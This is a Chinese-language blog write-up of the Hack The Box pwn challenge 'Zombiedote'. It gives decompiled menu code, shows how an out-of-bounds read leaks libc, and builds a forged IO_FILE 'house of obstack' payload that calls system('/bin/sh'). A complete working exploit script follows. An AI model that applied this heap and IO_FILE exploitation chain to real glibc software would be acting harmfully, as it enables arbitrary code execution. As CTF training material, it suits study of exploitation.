selph
selph
Published on 2024-11-07 / 18 Visits
0
0

[HTB] Zombiedote

前言

一个关于堆的稍综合点的简单练习 该题目是 shellcode 的编写练习

今天是第14天,继续努力!

题目情况

Humanity is under siege from a deadly disease spread by zombies. The BioShield Solutions Research Institute is tirelessly working to develop an antidote. Join their mission and become a hero in the fight to save humanity.

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

逆向分析

[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> $

程序里用了一个结构体,分析出来长这样:

00000000 stru            struc ; (sizeof=0x1C, mappedto_18)
00000000 size            dd ?                    ; XREF: main+25/w
00000004 field_4         dd ?
00000008 ptr             dq ?                    ; XREF: main+2D/w
00000010 insert_time     dd ?
00000014 edit_time       dd ?
00000018 inspect_time    dd ?
0000001C stru            ends

选项1:

int __fastcall create(stru *a1)
{
  if ( a1->ptr )
    return error((__int64)"A log has already been created.");
  printf("\nNumber of samples: ");
  __isoc99_scanf("%lu", a1);
  a1->ptr = (__int64)malloc(8LL * *(_QWORD *)&a1->size);
  if ( !a1->ptr )
  {
    error((__int64)"Failed to allocate memory for the log.");
    exit(1312);
  }
  return success((__int64)"Created a log.");
}

可以申请内存,但是只能申请一次,大小随意指定

选项2:

unsigned __int64 __fastcall insert(stru *a1)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-18h] BYREF
  unsigned __int64 i; // [rsp+20h] [rbp-10h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( a1->ptr )
  {
    if ( a1->insert_time )                      // 只有1次机会
    {
      error((__int64)"Already inserted into log.");// 触发IO流
    }
    else
    {
      printf("\nNumber of samples tested: ");
      __isoc99_scanf("%lu", &v2);               // 输入大小
      if ( *(_QWORD *)&a1->size < v2 )          // 大小不能超过原先申请的大小
      {
        error((__int64)"Invalid input.");
        exit(1312);
      }
      for ( i = 0LL; i < v2; ++i )
      {
        printf("\nVirus concentration level in sample #%ld (%%): ", i);
        __isoc99_scanf("%lf", 8 * i + a1->ptr); // 写入
        puts("Value entered.");
      }
      success((__int64)"Data inserted.");
      a1->insert_time = 1;
    }
  }
  else
  {
    error((__int64)"No log to insert into.");
  }
  return __readfsqword(0x28u) ^ v4;
}

可以写入一次数据,不过是以浮点数形式输入,大小不能超过chunk申请的大小

选项3:

void __noreturn delete()
{
  error((__int64)"Operation not implemented yet. Exiting...");
  exit(1312);
}

这里会造成error:

int __fastcall error(__int64 a1)
{
  printf("\x1B[1;31m");
  printf("\n[-] ");
  dprint(a1);
  puts("\n");
  return printf("\x1B[1;97m");
}

__int64 __fastcall dprint(__int64 a1)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = *(unsigned __int8 *)(i + a1);
    if ( !(_BYTE)result )
      break;
    putchar(*(char *)(i + a1));
    fflush(stdout);                             // 触发IO流
    usleep(0x3A98u);
  }
  return result;
}

最终会从fflush触发io流

选项4:

unsigned __int64 __fastcall edit(stru *a1)
{
  __int64 v2; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( a1->ptr )
  {
    if ( a1->edit_time <= 1 )                   // 2次写数据到内存
    {
      v2 = 0LL;
      printf("\nEnter sample number: ");
      __isoc99_scanf("%lu", &v2);
      printf("\nVirus concentration level in sample #%ld (%%): ", v2);
      __isoc99_scanf("%lf", 8 * v2 + a1->ptr);  // 在指定偏移处读取数据,%lf格式化,只能修改8字节
      ++a1->edit_time;
      success((__int64)"Log edited.");
    }
    else
    {
      error((__int64)"Maximum number of edits has been reached.");
    }
  }
  else
  {
    error((__int64)"No log to edit.");
  }
  return __readfsqword(0x28u) ^ v3;
}

提供了一次越界写8字节的效果

选项5:

unsigned __int64 __fastcall inspect(stru *a1)
{
  __int64 v2; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( a1->ptr )
  {
    if ( a1->inspect_time )                     // 只有1次机会
    {
      error((__int64)"The log has already been inspected.");
    }
    else
    {
      v2 = 0LL;
      printf("\nEnter sample number to inspect: ");
      __isoc99_scanf("%lu", &v2);
      printf("\nVirus concentration level in sample #%ld (%%): %.16g\n", v2, *(double *)(8 * v2 + a1->ptr));// 打印偏移数据
      a1->inspect_time = 1;
      success((__int64)"Log inspected.");
    }
  }
  else
  {
    error((__int64)"No log to inspect.");
  }
  return __readfsqword(0x28u) ^ v3;
}

提供了一次越界读取8字节的功能

利用分析

程序提供了1次越界写,1次越界读,无其他漏洞,只能申请1次内存不能释放,可以写入数据无溢出

当我们申请内存大小超过mp_.mmap_threshold的时候,申请的chunk会位于紧挨着libc的地方,从这里进行越界读可以读取到libc中的地址,越界写可以写IO指针,fflush可以触发IO流

leak libc address

# leak libc address
add(0x22000)

"""
pwndbg> distance 0x00007fc1e9faf000 $3
0x7fc1e9faf000->0x7fc1ea1ee660 is 0x23f660 bytes (0x47ecc words)
pwndbg> p/x 0x23f660/8
$4 = 0x47ecc
"""
inspect(0x47ecc-2)
ru(b"Virus concentration level in sample #294602 (%): ")
leak = rl()[:-1]
leak = p64_float(float(leak.decode()))
leak = u64(leak)
success(f"leak: {hex(leak)}")

libc.address = leak - libc.sym._IO_list_all - 0x20
success(f"libc.address: {hex(libc.address)}")

申请出来的chunk位于:

pwndbg> vmmap 0x0007f7e01062010
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x55b68f275000     0x55b68f296000 rw-p    21000      0 [heap]
►   0x7f7e01062000     0x7f7e01088000 rw-p    26000      0 [anon_7f7e01062] +0x10
    0x7f7e01088000     0x7f7e010b4000 r--p    2c000      0 /mnt/d/Misc/CTF/CTF-练习/HTB_pwn/Zombiedote/challenge/glibc/libc.so.6

紧挨着libc,泄露处libc地址相当于也有heap地址了

这里用_IO_list_all指针泄露地址,等会改也是改这里

house of kiwi & house of obstack

house of kiwi提供了触发思路,通过fflush来触发IO流,配合house of obstack的打法,伪造IO结构直接,改写_IO_list_all指针,直接触发即可:

# forge IO structure
fp = heapbase + 0x10
io_payload = pack(0)*3 + pack(1) + pack(0) + pack(1) + pack(0) +pack(libc.sym.system)+b"/bin/sh\x00"
io_payload += pack(fp+0x40) + pack(1) +pack(0)*16 +pack(libc.sym._IO_file_jumps - 0x240+0x20) + pack(fp)


data_len = len(io_payload)
dic = []
for i in range(data_len):
    f = u64_float(io_payload[i*8:i*8+8])
    dic.append(str(f).encode())

insert(data_len, dic)

# edit the IO pointer
edit(0x47ecc-2,u64_float(pack(fp)))

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=b">> "):
    sla(prompt, i)

def add(sz:int):
    cmd('1')
    sla(b"Number of samples: ",str(sz//8).encode())
    #......

def insert(sz:int,dic:list):
    cmd('2')
    sla(b"Number of samples tested: ",str(sz//8).encode())
    for i in range(sz//8):
        sla(b"Virus concentration level in sample ",dic[i])
    #......

def delete():
    cmd('3')
    #......

def edit(idx:int,ctx):
    cmd('4')
    sla(b"Enter sample number: ",str(idx).encode())
    sla(b": ",str(ctx).encode())
    #......
  
def inspect(idx:int):
    cmd('5')
    sla(b"Enter sample number to inspect: ",str(idx).encode())
    #......

# leak libc address

add(0x22000)
inspect(0x47ecc-2)
ru(b"Virus concentration level in sample #294602 (%): ")
leak = rl()[:-1]
leak = p64_float(float(leak.decode()))
leak = u64(leak)
success(f"leak: {hex(leak)}")

libc.address = leak - libc.sym._IO_list_all - 0x20
success(f"libc.address: {hex(libc.address)}")
pause()
# calc chunk address
heapbase = libc.address - 0x26000
success(f"heapbase: {hex(heapbase)}")

# forge IO structure
fp = heapbase + 0x10
io_payload = pack(0)*3 + pack(1) + pack(0) + pack(1) + pack(0) +pack(libc.sym.system)+b"/bin/sh\x00"
io_payload += pack(fp+0x40) + pack(1) +pack(0)*16 +pack(libc.sym._IO_file_jumps - 0x240+0x20) + pack(fp)

data_len = len(io_payload)
dic = []
for i in range(data_len):
    f = u64_float(io_payload[i*8:i*8+8])
    dic.append(str(f).encode())

insert(data_len, dic)

# edit the IO pointer
edit(0x47ecc-2,u64_float(pack(fp)))
ia()

总结

堆利用,IO_FILE题

关键点是:申请超过mp_.mmap_threshold的内存拿到紧挨着libc的chunk来利用OOB

参考资料


Comment